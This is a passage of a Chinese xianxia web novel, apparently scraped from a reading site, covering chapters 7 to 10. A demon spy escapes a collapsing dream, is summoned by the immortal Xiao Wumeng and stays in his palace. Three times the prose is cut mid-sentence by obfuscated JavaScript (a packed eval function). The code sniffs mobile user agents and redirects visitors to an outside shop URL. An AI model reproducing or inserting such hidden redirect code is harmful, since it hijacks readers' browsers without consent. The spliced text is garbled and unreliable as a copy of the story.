《卧底她只想咸鱼》 7. 仙君 封闭空间内,雾气渐渐散去,两人回到了向日葵的大叶子上。 噩妖已不见踪影,日与月都消失了,天色灰蒙蒙,满地的向日葵被烧成了灰,只剩下最大的那一棵还挺立着。 梦妖的哀鸣声传遍四野。 天昏地暗,大地焦红,宛如末日降临。 “这个梦境要崩塌了。”守梦人说。 梦境崩塌,意味着梦核已经枯萎,虽然他斩杀了噩妖,但做梦者流逝了太多生命力,已经无力回天。 哪怕林珑没有杀他,他也要死了。 向日葵硕大的花盘低垂,伴随着梦核干枯,这个梦境的灵气正在迅速溃散,它也要支撑不住了。 林珑大叶子上滑落到地面,闻言回神,“梦境崩塌——” “要么落入下一个梦境,要么回到现实。” 就像是跳伞,唤醒做梦者是收伞平稳落地,回到现实。在梦境内外杀死做梦者都是半空中割断伞绳,如临深渊。 林珑明白,现在到了拼运气的时候。 求求了,放她回去继续咸鱼的美好生活吧! 她看向站在三步开外的守梦人,对方神色平静,那清冷眼神中似有些她看不懂的深意。 天边出现道道蛛网状的裂痕,林珑看着他,在这种恍若离别的气氛中,不说点什么总有点尴尬,她想了想:“那个,祝你早日康复……希望下次见面时,你的病情会有所好转。” 话是这么说,下次见面的机会,想来十分渺茫。 守梦人:? 哗啦。 天空碎裂如镜,梦境中的一切化为虚无,脚下踩的土地也消失了,突然的失重感让三人一阵慌张。 漆黑的虚空,仿佛身悬宇宙茫茫空间,无数的星子在黑暗中闪烁,那些星星周围都有一圈肉眼可见的灵气扭曲状态。 林珑意识到,那并不是什么星星,而是一个个的梦境,无数人的梦境构成了这片璀璨的星海。 他们悬在虚空中,梦境的灵气场散发出强大的拉力,他们不受控制往最近的那颗星上坠去。 “完了,要进入下一个梦境了!”柳若眉惊慌道。 林珑大呼不妙,她想回现世! 这念头一起,下方出现了一道透着白光的门扉。看着那道门,她心中有种强烈的预感,那就是她要去的地方,于是一头栽了下去。 师弟师姐见状,也跟了上去。 虚空中,守梦人抵在刀鞘上的拇指松开,收回了欲劈开附近梦境的刀气,眼神复杂深邃—— 这道门扉竟然会为她打开,她身上,到底有什么秘密? * 数日后,弟子居。 一大早刀豆捧着厚厚一叠的经文走出房间,就见院门口站着一道清丽身影,“柳师姐,你怎么来了?” 柳若眉温和一笑:“林师妹在吗?” 刀豆:“她还在睡,师姐等等,我去叫她!” 外门弟子两人住一间小院,环境清幽,他费了一番功夫才和林珑成了室友,从此告别被走地鸡蹲墙头的悲惨命运。 他跑得飞快,经文飞落几张,被柳若眉用灵气细心收拢在了一起,过了好一会儿,才见林珑打着哈欠出来了,姿态懒散,眼神迷蒙,像只刚睡醒的猫。 柳若眉心想,师妹这日子过得也太舒服了。 林珑神游一般走到院外,开口声音又软又甜,“师姐~” 柳若眉心中升起一股把她抱在怀里揉一把的冲动,“师妹,我有些话想跟你说。” 她揉了揉眼睛,“师姐,你等我一下,我去洗漱。” “嗯。” 她回去不忘把刀豆掉的几页经文捎带回去,眉眼弯弯对柳若眉说了一句“谢谢”。 柳师姐心都软了。 等在院外了,想她起那天夜里的事,从那扇门穿过后,她回到了寒牢前,此时天际露白,他们在梦境中觉得无比漫长,其实现世时间刚过去了几个时辰。 寒牢里,黑气消散,魔族像块干枯的木头一样倒在地上,已经死透了。她身后,被惊动的文武两位掌事赶到,质问她出了什么事。 柳若眉心知事情闹大了,便将事情一五一十说了,她是想研究魔族的弱点,那些守山弟子也是她迷晕的。 武掌事气得两撇胡子乱翘,“你要干什么,不会跟我们说吗?自己瞎折腾些什么!还有你们两个,跟着凑什么热闹?!” “通通给我滚去扫七宝阁!” 不巧这几日七宝阁正在动工修缮,罚期便延后了几日。 柳若眉揉了揉发胀的眉心,自梦境中出来后,她这几日都没休息好,闭眼就是那噩梦中的场景。 她在梦中的经历,又成了她做噩梦的素材。要是多经历几个梦境,那不是每晚都要做噩梦? “师姐,我好啦!” 林珑她从院中飞奔出来,月白上衣配着浅紫罗裙,发间流苏和腰间飘带飞舞,明妍亮丽,活泼灵动,让人眼前一亮。 以前没多注意,越看越觉得林师妹灵秀漂亮,弟子中无人可比。 两人从弟子居走出去,春和日暖,微风拂面,随处可见三三两两路过的弟子们,经过道场,往东穿过柳林,前方是一座漂亮的七孔拱桥。 两人在桥上驻足,柳若眉取出锦盒,“师妹,这个送你。之前在梦境中,多亏了师妹帮忙,这是我的一番心意。” 那是连掌事也对他们能活着出来表示吃惊,听说他们遇到守梦人后,掌事才一脸“原来如此”,没多问细节。 锦盒里躺着一串漂亮的玉白铃铛。 是回梦铃。 “师姐,这——” 她记得柳师姐说过,这是大长老炼制的法器。她曾去过器阁,里面只要跟无梦仙君沾边的东西,不管真假,都卖得巨贵无比。 柳若眉笑道,“大长老炼制出回梦铃后,就将器谱转赠给器阁,委托器阁炼制此物。大长老交代过,此物只收材料费,因而不贵。我手上恰好有两个,新的便送给师妹。” 听她这么说,林珑才安心收下。 “谢谢师姐。” 柳若眉抿唇一笑,亲手将梦铃系在了她腰间。 师姐身上传来淡淡清香,林珑有些不好意思,果然,香香软软的女孩子就是人间的宝物啊。 梦铃响声轻灵,并不吵耳,挂在腰间像是紫色罗裙上盛开了一丛铃兰,煞是好看。 “我也有礼物送给师姐。”她笑眯眯道。 她腰间挂着小巧的芥子囊,上面绣了一只趴着睡觉的兔子,弯腰翻找一阵,翻出一朵雪白的小花递给她。 柳若眉愣了一下。 若说回梦铃不是什么贵重礼物,只是很抢手罢了,师妹送给她的,才是真正贵重之物。 这是一朵灵霄花,七品灵植,有安神助眠之用。 一朵可抵得上一整瓶化梦丹的价格。 她知道这朵花是怎么来的。去年弟子试炼时,林师妹在试炼秘境中迷路,运气好竟然误打误撞来到了灵霄花藤下,这可是秘境中最贵重的宝物,水镜外观察的掌事们都以为这次要被她捡漏了,谁知她竟然躺在花藤下睡着了! 武长老看得当场高血压发作,老脸都气红了。 其他管事也是直摇头,从未见过如此咸鱼之弟子,天材地宝近在眼前,她甚至不愿意伸手摘一下! 众人在水镜前气得发愣,愣是看她睡了半个时辰,直到另一个弟子找来,伸手摘花时,却被藏在花丛中的毒蛇咬了一口,花从枝头跌落,砸在了躺在藤下的林珑怀里。 众掌事:……离大谱! 然而按照试炼规则,这朵花确实要归林珑所有。 “看师姐好似有些精神不济,这朵花我又用不上,就送给师姐吧。”她笑盈盈的说。 柳若眉眼眶发红。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958166|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她小声道谢,珍重收下了这份温暖的心意。 “师姐最近有什么忧心事吗?” 柳若眉从不跟任何人提起自己的私事,但在师妹面前,她不想隐藏,“因为我爹快回来了。” 林珑:柳监院竟然要回来了! 太一宗外门以宁真道君,也就是静主为首座,下有三位管事,还有一位监院。监院掌弟子刑罚,为人死板冷酷,柳师姐正是监院之女。 看来他们父女关系,好像不太好? 林珑摸了摸腕间的红绳,她和这位监院之间,也许有些非同寻常的关系,得等他回来后才能得到验证。 廊桥上春风柔情,堤岸柳枝轻摇,春光明媚,只是静静靠在栏杆边,心情也觉安宁,偏偏有人要打扰这份平静。 “这不是外门之耻,小废物林师妹吗?”几个不怀好意的弟子渐渐围了上来。 为首正是那日嘲笑过林珑,又被她反唇相讥的弟子。他眼底挂着两个硕大的黑眼圈,显然,他没买到化梦丹,祖坟也没冒烟。 睡眠不足令人暴躁,他正无处发泄心头邪火,谁知就撞见了林珑。 “林师妹,你那日对我恶语相向,弄得我吃不下,睡不好,你说该如何补偿我?” “你们——” 柳若眉刚要说话,就被两个弟子隔开,他们人多势众,“柳师姐,跟你无关,劝你别参合。” 那弟子顶着黑眼圈,举起沙包大的拳头,停在林珑脸边,“林师妹,你知道你有多讨人厌吗?” “你天资奇差,道门百年难见!” “可是我睡得着呀。” “你蠢笨如猪,连最简单的法诀也学不会!” “可是我睡得着呀。” “你、你你——”弟子气得发冠歪了,头发都竖起来了,满脸涨红,“你这个废物,老子看见你就不爽,今天就算是大长老来了也救不了你!” 说着,挥拳就要打人。 “林师妹!” “住手!”一道灵光袭来,那群弟子被掀翻,为首之人四脚朝天躺在地上,看到来人,直接吓傻了:“静、静主。” 静主面无表情,气场冷肃,那弟子浑身发抖,静主怎会出现在这里! 而静主身边站着一个白衣道童,头戴朝鹤冠,身披羽衣,那、那不是传闻中无梦君身边的鹤童子吗?! “外门弟子林珑,仙君要见你。”鹤童子道。 “什么?!”那弟子惊叫一声,眼珠子都要瞪出来了,“大长老要见她?!” “不见她,难道见你吗?”鹤童冷冷说了一句。 “我我、我——”那弟子气一促,晕了过去。 其余弟子瑟瑟发抖,大气不敢出。 静主一脸失望:“弟子私斗,以多欺少,通通罚去寒风山面壁三年!” * 太一仙宗内门,降灵山上,神树高耸入云。 葳蕤枝叶下,站着一道修长身影。 雪青色广袖如垂云,玉簪斜插,绸缎般的乌发垂落在肩头,仙姿渺渺,清雅绝尘。 林珑看着他的背影,忽然想起了守梦人。 这背影,好像他。 她顿时忘了紧张,有点恍惚。 树下之人转过身,看清他的长相后,林珑一下子回过神来,不,很不一样。 守梦人是万仞寒峰上风雪塑成的刀,孤傲凌厉,锋芒毕露。 眼前的无梦仙君,长眉入鬓,眸如深墨,清逸绝伦,就像是寒潭中幽幽一轮凉月,美得不似真实,若不慎被月色所迷,一脚踏空,才知是水中幻梦。 那是一种危险的美貌。 见她来了,他缓步从树下走过来。 他在树下时,四周有种慑人的寂静,半点声息不闻,他一离开,树上的鸟雀就叽叽喳喳叫了起来。 萧无梦走近,打量着她,“你就是林珑?” 8. 玲珑 萧无梦的目光别有一番审视意味。 林珑正祈祷他不要发现自己魔族身份,并未注意到他微妙的神色。 抬头四目相对,仙君无比自然的握住了她的手,牵着她踏入了山顶的繁复法阵之中。 林珑:? 她低头看向两人交握的手。 他道:“此处阵法复杂,本君不带着你,你会迷路。” 林珑:是吗? “若不慎走岔,有粉身碎骨之危。” 林珑:…… 不自觉往他身边靠了靠。 他的眸光更幽沉了几分。 大雾弥漫,不辨方向,走了一段路,林珑仍有些不可置信——她就这么轻易见到萧无梦了?而无梦仙君也不是什么白胡子老头,看起来还如此年轻美貌? 也是,传闻说他才三百岁…… 以这个年纪登上化神境,是名副其实的仙门第一人。 在拱桥上,鹤童说仙君要见她,静主见她惊讶,安抚道:“仙君脾气温和,不会刻意为难弟子,你放心去吧。” 林珑当时都没敢说话,内心吐槽:静主,您不自己笑得有点勉强吗? 林珑喉头发紧,心说,就算无梦君不会把仙宗弟子怎么样,她可是一只魔!没看见他对魔族有多狠吗? 虽说她的魔气一向隐藏得很好,但在萧无梦面前可不好说,万一被发现了怎么办? 见她迟疑,鹤童道:“仙君有召,不可推拒。” 静主道:“去吧。” 林珑只好硬着头皮去了。 一路同行,鹤童的身高才到她腰间,估计那恨天高的发冠就占了八分之一,板着一张嫩嫩的包子脸,有种故作严肃的搞笑感。 当然他自己不这么觉得,路上林珑憋笑了好几次,对方忍不住看她。 林珑:“你多大了?” 鹤童:“区区五百岁。” 林珑:“那你岂不是年纪比仙君还大?” 鹤童:“慎言。仙君点化吾成人,不过十载而已。” 林珑:“那你才十岁,说话怎么这么老气横秋?” 他憋了半天,吐出一句:“对本童子放尊重点。” 林珑:“哈哈。” 鹤童:“……” 他明明五百岁了!他当仙鹤的那些年头又不是虚长的!他只是不敢在仙君面前称长罢了。 两人坐在鹤羽幻化的小船上,穿云而行,中途在进入内门的法阵前停下,穿过法阵后,才能继续飞。 这还是林珑头一次进入仙宗内门,估计也是魔界有史以来在仙门走得最远的一只魔。 她的一小步,等于魔界的一大步! 然而林珑半点都兴奋不起来,她脑子里都是自己被吊在寒牢外,像风干的腊肉一样摇晃的场景,有点打退堂鼓。 鹤童忍不住说:“你为何如此模样?” 偷感甚重,像在做贼。 “你不懂,我这是紧张。” 太一内门风景如画,群峰林立,听说内门共有十峰,能进入其中的都是百里挑一的精英弟子,绕过刻着阴阳双鱼的高大石壁,一群内门弟子从旁经过。 靛蓝滚白边饰云纹的道服,纹饰精致,看起来精神面貌与外门弟子大不相同,眼神里藏不住骄傲,人人配刀,刀鞘款式花里胡哨,灵玉灵纹不要钱一样往上贴,刀看起来比人还贵。 林珑想起守梦人那把光秃秃的黑色长刀,不由升起几分同情——守梦人这名号听起来唬人,派头竟比不上一般太一宗的弟子。 啧啧。 下次见到,一定要笑话他两句。 她又想到,同样是用刀高手,守梦人单枪匹马就能斩杀一只三阶噩妖,萧无梦号称刀道第一,他们之间会不会有什么联系?正琢磨时,听到谈话声。 “师姐,你这刀纹真帅气,不知是哪位铸刀师所刻?” “嘿嘿,师姐我自己刻的。” “想当年,满山都是剑修,自无梦仙君在沉妄海上一刀斩龙,威震仙魔两界,刀道蔚然盛行,如今好的铸刀师千金难求!这刀纹还不得自己刻?” “哈哈,师姐说的是。连我那做食修的叔叔,都说要转修刀道呢!” “食修怎么学刀?” “师姐,菜刀也是刀啊!” “哈哈哈!” 内门弟子们笑着走远了。 林珑:……是她想多了。 这年头刀修也太多了!无梦仙君简直就是全民偶像,凭一己之力带动了修真界的潮流。 鹤羽船飞过太和广场,经过刻满刀气剑痕的登云栈道,路过云翠拥碧的内峰山头,仙阁玉楼,隐于云雾之中。 越是往上,灵气越是充盈,泡在灵气里,就像泡澡一样舒服。 林珑看向遥遥远方的最高的那座山。 降灵山上,生长着一棵蔚然巨树,它深深扎根在灵山,树干粗壮虬劲,树冠遮天蔽日,上接寰宇,下通泉冥,是天地间最壮观的一道奇景。 神树的树冠枝叶深绿,洒下点点灵光,惠泽万物。 天地间所有的灵气都来自于此,神树存在了上万年,仙门百家依托神树产生的灵气而存在,越是靠近神树,得到的灵气就越丰厚。 无梦仙君,就住在降灵山上,偶开天眼,可窥红尘。 鹤羽船停在降灵山顶,薄雾涌动,形成了一道若有似无的结界,鹤童当先走了进去。 “等等——” “这结界拦不住你。” 她穿过来这么久,头一次听说结界不拦人,她狐疑盯着结界,怀疑它具有照妖镜一样的功能,也许她走过去,就会露出魔的原形! 鹤童不知她在怕什么,一脸无语,“结界不是针对你的,尽管进来。” 她将信将疑走了进去,果然穿过了薄雾,没有受到任何阻拦,也没有现出原形。 这更令她疑惑了。 靠近神树的结界,不应该是无比重要吗?连她这种外门弟子都不阻拦,跟摆设有什么区别? 明明从结界上感受到了浓郁的灵气…… 它到底是干嘛用的? “为何停下?”仙君玉石般沁透的嗓音打断了她的思绪,林珑意识到自己想得入了神,不知何时停下了脚步。 她摇了摇头,这法阵不知有多大,竟然这么久还没走出去。 她的手被萧无梦握在掌中,他的手宽大,指节修长,掌心温热,她甚至能感觉到他指腹上薄茧的触感,这一定是常年练刀留下的。 但是,守梦人的手上并没有茧子。 越是注意细节,越能发现他们两的不同之处。 萧无梦跟她想的很不一样,不仅没有为难她,态度称得上温和,但她还是心怀警惕,蜻蜓担心前方的蛛网,兔子害怕深草的毒蛇,这是一种近乎本能的直觉。 无梦仙君,让她觉得危险。 “害怕本君?”他问。 “没、没有。” 他怎么这么敏锐? “仙君您这么平易近人温和可亲和蔼慈祥,我一点都不害怕。”她露出真诚微笑。 萧无梦打量着她,表情似笑非笑,语气清淡,“是么。” 林珑头皮发麻。 ——也许是因为他杀过太多魔的缘故,两百年前的仙魔大战上,他将不可一世的魔龙脑袋一刀斩下,震惊天下,那魔龙就是现任魔君的亲爹。 以至于每次提起他,魔君的语气就有点抖,她想她可能是被魔君传染了。 “到了。” 随着他一句话,云开雾散,眼前场景骤变,仙殿琼楼,白鹤翔空,仿佛来到了仙人居处,廊下的风铎发出空灵响声。 另有一道响声相和,细碎悦耳。 他们就站在回廊入口处,萧无梦驻足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958167|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看向她腰间的回梦铃。 “玲珑。” “啊?” “此器炼成时,我为它取名‘玲珑’。”他带着林珑拾阶而上,有种不疾不徐的闲适,“后来将器谱转交给器阁,他们才将之改名为‘回梦铃’,取自将人从梦中唤回的意思。” 林珑低头看那串小铃铛,觉得有些奇妙,刚才她还以为对方在叫她的名字。 萧无梦注视着她乌黑发顶,眼眸愈见幽深。 “不知仙君找我来,是为何事?” “听说你是八灵根?本君正在炼制一种法器,需要你的灵根配合。” 原来如此! 林珑心中疑问终于有了答案,就说他为何找上自己这个不起眼的小弟子,她的灵根虽然不强,但在整个修真界都算得上特殊的。 “仙君要炼制什么法器呢?”她眸光轻闪,追问道。 大消息! 这一定是个大消息。 说不定他正在炼制对付魔族的利器,她马上要为魔界立下大功了! 不,立不立功的不重要,起码她的‘匿气丹’有着落了! “炼制之时,你自然会知道。” 她有些迫不及待:“那咱们现在就去吧!” 阳光下,她的杏眸闪闪发亮,像是剔透的琥珀石,漂亮得不像话。 仙君盯着她,沉默片刻,“在此之前,本君要先做些准备,鹤童会带你去歇息。” 他这才松开了林珑的手,修长身影消失在长廊尽头。 鹤童尽职尽责上前:“随我来。” 殿宇回廊曲折深复,松柏点缀庭院,随处可见白鹤在院中梳理羽毛,走了许久,才到一处华丽寝殿前,鹤童推开大门,沁人幽香扑鼻而来。 这香味清而雅,像是桂花,更清浅些,她猜测应该是某种昂贵的香料。 踏进屋内,林珑被这屋子面的奢华程度震惊了,梨木桌上金鹤垆燃香袅袅,水晶盘中夜明珠微光灿灿,屋内陈设无一处不雅致,又透着肉眼可见的舒适。 “这……这是客房?”她目瞪口呆。 皇宫也不过如此吧! 应该说,皇宫也不及此处,人间可没有这么多上品法器。 鹤童看了她一眼,“这是仙君的寝殿。” 林珑:? 她还要问,鹤童已转身出去了,留下林珑摸不着头脑,这么大的仙宫,就没有一间客房给她吗? 她在原地站了一会儿,开始仔细打量这地方,寝殿非常大,绕过山水画屏,内间就是寝居,窗半开着,垂挂的鲛纱轻轻飘舞,正中一张宽大的楠木床,床上铺着冰丝玉簟,床头摆着织金软枕,林珑眼睛都看直了。 听说冰丝玉簟是千年冰蚕丝混合灵液、灵竹丝织成,和竹席想比,更为柔软,还可以自动调节温度,躺上去经脉被灵气滋养,堪称修真界的顶奢级床品,器阁都没得卖,仅有图谱可以参观,售价在百万灵石以上。 离谱! 萧无梦也太会享受了吧! 林珑的心砰砰直跳,对着这张床,她感觉来到了梦想中的天堂,不敢想萧无梦天天过的是什么神仙日子。 好想上去躺一下…… 但这可是仙君的床,她怎么敢随便往上躺? 看来看去,她实在没忍住,伸出食指轻轻在床角戳了一下。 身后轻笑声响起。 骤然回头,见萧无梦站在画屏边,长眉入鬓,比画上的山水更美。 林珑一脸尴尬。 有什么动人家的东西比主人发现更社死? 她想道歉,仙君却道:“无妨,咳咳——” 他低咳两声,脸色白了几分。 “仙君,您怎么了?” “刚才炼器时耗损了灵气。” 他好似不甚在意,身形却是一晃,撞倒了身旁的屏风,发出哐当一声响。 9. 陷阱 他倒下来的瞬间,林珑顺手扶住了他。 一阵冷香沁人,他身上有跟房间里熏香相似的桂香气,绸缎般的长发滑落肩背,落在她手臂上。 林珑抬起头,看到他半垂下浓密的羽睫,遮住了如墨眼眸,却遮不住眼底浅浅的青黑。 她满心狐疑,炼器有这么耗神吗? 他明明刚才还好好的。 在林珑看来,他更像是有些睡眠不足,但有人会在冰丝玉簟的大床上睡不好吗? 怎么可能! 她表示不理解。 “仙君,要不……你先起来?” 萧无梦身形高大,靠在她身上重量着实不轻,骨重压人,呼出的灼热气息喷在颈侧,痒痒的,林珑感觉自己有些扛不住他了。 和他这样近距离接触,她的心因紧张而狂跳,害怕被看出魔族原形……早知道就不扶他了,反正以他这样的修为,摔一下也摔不出什么毛病来。 萧无梦藏在睫毛下的眸光暗沉,好一会儿,才缓缓直起身。 松开她时,她的长发打了个旋,从指尖绕过,萧无梦浓睫微颤,目光追逐着她那缕长发,收回的手指轻蜷。 林珑并未注意到这细微的动作,萧无梦没发现不对劲,让她松了口气。 看来匿气丹的效果确实很好,加上她本身魔气就不浓烈,这一遮掩,连仙君也发现不了。 她缓缓放下心来。 原来无梦仙君盛名之下,是一副病体吗? 看来,他似乎已英雄不复当年? 萧无梦的身体不好,这是一条重要情报! 林珑转着心思,已经在想这次的工作汇报该怎么写了—— “仙君外强中干,不足为惧,反攻人界时机已到!” “魔君阁下,您的心腹大患萧无梦他不行了!” 抬头对上萧无梦的如墨深眸,好似能看穿她的心事。 只是在心里想想,他总不能听见了吧! 她不禁有点心虚。 “仙君,午膳已备好了。”外间传来鹤童的声音。 “去用饭吧。”他道。 “哦。” 外间已摆好了饭菜,灵食珍馐,色香俱全,看得人直吞口水。 四菜一汤,卖相极佳,又不显铺张,林珑尝了一口珍蟹灵菇荟豆腐,鲜香美味,连舌头都差点吞下去。 “好吃!”她忍不住夸奖,“鹤童做饭这么厉害?” “不是他做的。” 内门灵膳坊有专门的灵厨负责仙君的饮食,但仙君本人身为炼器师,精通器阵,身边不需要人服侍,点化鹤童后,对方说什么也要跟着他报恩,久而久之,便随他去了。 林珑吃得开心,他只是偶尔动筷,好像对灵食不感兴趣,坐姿松散,背虽挺着,两肩却很放松,显得慵懒又矜贵。 林珑:果然人长得好看就是占便宜。 他抬眸,状似随意:“你昨夜入了梦境?” “嗯。” “如何脱身?” 林珑迟疑,她想着要不要遮掩守梦人的存在,就听他说:“此事我听宁真道人说了几句……” 宁真是静主的道号,林珑没想到他消息这么灵通——不是说他闭关百年,不见外人吗?看起来完全不是这么回事。 事情经过,柳师姐都禀告给了静主。 既然都说了,她不好隐瞒,将梦境经过简单说了一遍。 “守梦人。”萧无梦眼睫轻抬,墨玉眸子盯着她,“你觉得此人如何?” 提起守梦人,林珑的感想复杂,想了想才说,“他……话虽少,人还挺好的。” 话说完,却觉对面仙君的表情变了,好似有些在意。 “仙君认识他吗?” “不熟。” 不熟的意思,还是认识。 林珑一琢磨,忍不住问:“听说仙君是当世第一刀修,不知仙君和守梦人,谁更厉害?” 他眉一挑,问:“你觉得呢?” 她摇头。 萧无梦淡淡道:“他不如我。” 林珑:啧啧。 他说话时语气平淡,仿佛只是陈述事实,仍能让人感觉到那份自傲和底气。如果他没在林珑面前跌一跤的话,他的话会更有说服力。 “仙君,咱们什么时候去看法器?”用完饭后,她问。 “看灵炉运转情况,明日吧。” 明天?! 那岂不是意味着她要在这里过夜?若要明天才用得着她,干嘛今天就把她叫过来? 她狐疑的盯着对方。 “明日一早。”他道。 “那……这里有客房吗?” “没有。” “怎么可能,我明明见有很多房间——” “那些房间都不是用来住人的。” 林珑:…… 不是很懂你们这些搞发明的。 但来都来了,不看到法器到底是什么,有点可惜。 她想了想,忽然有了主意,“仙君,我有一个小小的不情之请。” 说话时带着笑,眉眼弯弯,颊边泛起了梨涡。 萧无梦:“什么?” 他似乎并不意外。 她道:“我想睡那张大床!” 一生一次,机会难得,一定要把握住啊! 不敢想象,睡在价值百万灵石柔软大床上,她会是一个多么幸福的小女孩。 她眨巴眼睛,虔诚问:“可以吗?” 萧无梦:“那本君睡哪?” 林珑:“……” 还真没想过,鹤童还可以睡树上,她总不能要求萧无梦睡树上去吧? 见她无言以对,萧无梦道:“西隔间窗下布置有软榻——” 林珑眼睛一亮:“你睡那边?” 他挑眉不语。 对视半晌,终究是林珑败下阵来。 “……好吧,我睡。” 做人不能太嚣张,在别人家里住一天,还要把主人赶去睡沙发,确实不合适……可惜,她注定跟那张大床无缘了吗? “若法器能顺利炼制完成,便让你睡床。”他慢悠悠说了一句。 “一言为定!” 入了夜,星子漫天。 得到萧无梦的承诺,林珑心情很好,躺在西窗边的榻上,用薄被把自己裹成一团虫蛹,舒舒服服躺下了。 虽然只是软榻,但仙君家的软榻也铺得软绵绵的,很舒服,她又不认床,在任何地方躺下都能秒睡,春夜的柔风吹拂,没一会儿就进入了香甜梦乡。 她不知道,画屏那头,躺在床上的人,两百年来头一次安然入睡。 度过一个无梦之夜。 * 天光大亮,日光漫过窗,林珑醒来时,房间里已没了另一个人的气息。 鹤童为她送上朝食,便退下了。 早上的小米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958168|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粥温热饱腹,口感细腻,搭配蟹黄包,几碟精致小菜,美美饱餐一顿,再次感慨:萧无梦过的是什么神仙日子! 往这一躺,简直是咸鱼生活的终极形态。 吃饱喝足,她在廊下散步消食,之前走进来时,四周笼着一片云雾,是萧无梦一路牵着她进来的。神奇的是,进了仙宫之后,云雾散开了,周围的风景映入眼帘。 天色蔚蓝,绿树葱茏,仙宫在山巅之上,片片白云低垂,仿佛山与天相接,一伸手就能触到云,这景色令人心旷神怡。 天地之间,最引人注意的还是神树。第一次听说神树存在时,林珑就觉得十分神奇,这个世界的灵气诞生于神树,整个修真界都依托于神树而存在,所以修士的境界也以不同等级的“灵境”来划分。 不管多高的修为,都会饥饿会困倦,修士食用带灵气的食物,食物入腹化为灵气,摆脱了五谷轮回的烦恼,但睡觉,是每个人的基本需求。 譬如筑基期的修士,十天不睡已是极限,到了萧无梦这种化神境的修为,也许能撑更久,但也做不到完全不睡。 修士入睡后,依然会吸收神树灵气,这灵气会随之入梦,让梦由虚化实,成为一片独立空间,这是梦境的由来。 林珑坐在廊下的台阶上,托腮看着神树,事物都有两面性,神树滋养了修真界,也给修士带来了噩梦的困扰。 而不被噩梦困扰的她,觉得神树很亲切。 她扬了扬唇角,遥遥看到树干上好像出现了一道长长的裂缝,愣了一下,揉了揉眼睛,再看时,那裂缝又消失了。 只见枝叶摇动,灵光点点。 是错觉吗? 她摇了摇头,转身走回屋内。 萧无梦估计一早就炼器去了,不见人影,她在外面逛了一圈,又回了寝殿,忽然注意到桌上多了一个盒子。 这锦盒镶金嵌玉,华贵非常,上面雕刻着繁复纹路,满溢的灵气从缝隙里散出,散发出一种“我很贵重”的感觉。 用这样贵重的盒子装着,一定是了不得的宝贝吧! 林珑的心砰砰跳动起来。 离开魔界时,魔君下了两道指令,第一,要她调查萧无梦,第二,找机会盗取仙门至宝【灵犀入梦珠】。 听说这宝物可能在萧无梦手中,会不会就在这盒子里呢? 若能拿到入梦珠,她就可以向魔君提出交换匿气丹的丹方和大量魔草,然后找个小宗门苟着,过她快乐的咸鱼日子,不再受制于魔君。 自由就近在眼前。 但是—— 这盒子出现的时机和位置也太巧了,怎么她一回来,就刚好摆在这里? 这是陷阱吧? 这一定是陷阱吧! 开还是不开,这是一个问题。 林珑盯着眼前潘多拉的魔盒,陷入了沉思,就算这里面真放着魔君要的灵犀入梦珠,她将其偷走,还全身而退的可能性有多大? 不说萧无梦会不会发现,光是外面的迷阵,她都走不出去。 想到这,激动的心渐渐冷静下来。 但眼睛还是不住去瞟那盒子。 猫总忍不住要去推放在桌沿的茶杯,这东西摆在面前,就是有着莫名的魔力。 她将手伸向了锦盒,心想,我就看一眼。 只看一眼。 啪嗒。 盒子打开。 看到盒中的东西,她骤然睁大了双眼。 10. 咸鱼 “好看吗?” 身后传来萧无梦的声音,林珑猛地回过头。 锦盒中并不是什么宝贝,而是一把普普通通的玉梳,那充沛的灵气,分明是锦盒本身散发出来的。 不是入梦珠,倒让她松了口气,一把普通的玉梳,为何要放在锦盒里? 萧无梦不紧不慢道:“玉梳不是什么贵重之物,真正贵重的是这锦盒,‘灵气之匣’,可保匣内之物百年不腐,放到器阁也能卖出上万灵石的高价。” 林珑兴致缺缺。 除了入梦珠,她对别的法宝不感兴趣。 她也不贪财,有钱自然好,没有就降低需求,一条咸鱼怎么都能苟下去。 “这灵匣刚好可以换一只仙鹤羽绒做的软枕,安神助眠,睡觉舒适,不想要吗?” “要!”她秒答。 打脸来得太快。 竟然还有这种好东西!怎么不早告诉她? 萧无梦唇角提了提。 “过来帮本君梳发,锦盒就归你了。” “当真?” 她拿起那玉梳走过去,萧无梦坐在镜前,散了发簪,长发铺了满肩。 他的头发垂顺又柔亮,顺着肩背垂下,像是上好的丝绸。林珑想起了守梦人,他也有着这样漂亮的长发。 她自己的头发虽然多,大概是在魔界吃了上顿没下顿的缘故,发丝细柔,不够黑亮,在太一宗已经养回来不少了,还是比不上他的。 她忍不住摸了摸,触感冰凉,水一般从指尖流泻而过,这竟然是人能长出来的真头发。 萧无梦靠坐在椅子上,在那一刻,肩背都松懈下来,紧绷的心神也随之放松,眼睫微合,似一只假寐的大猫。 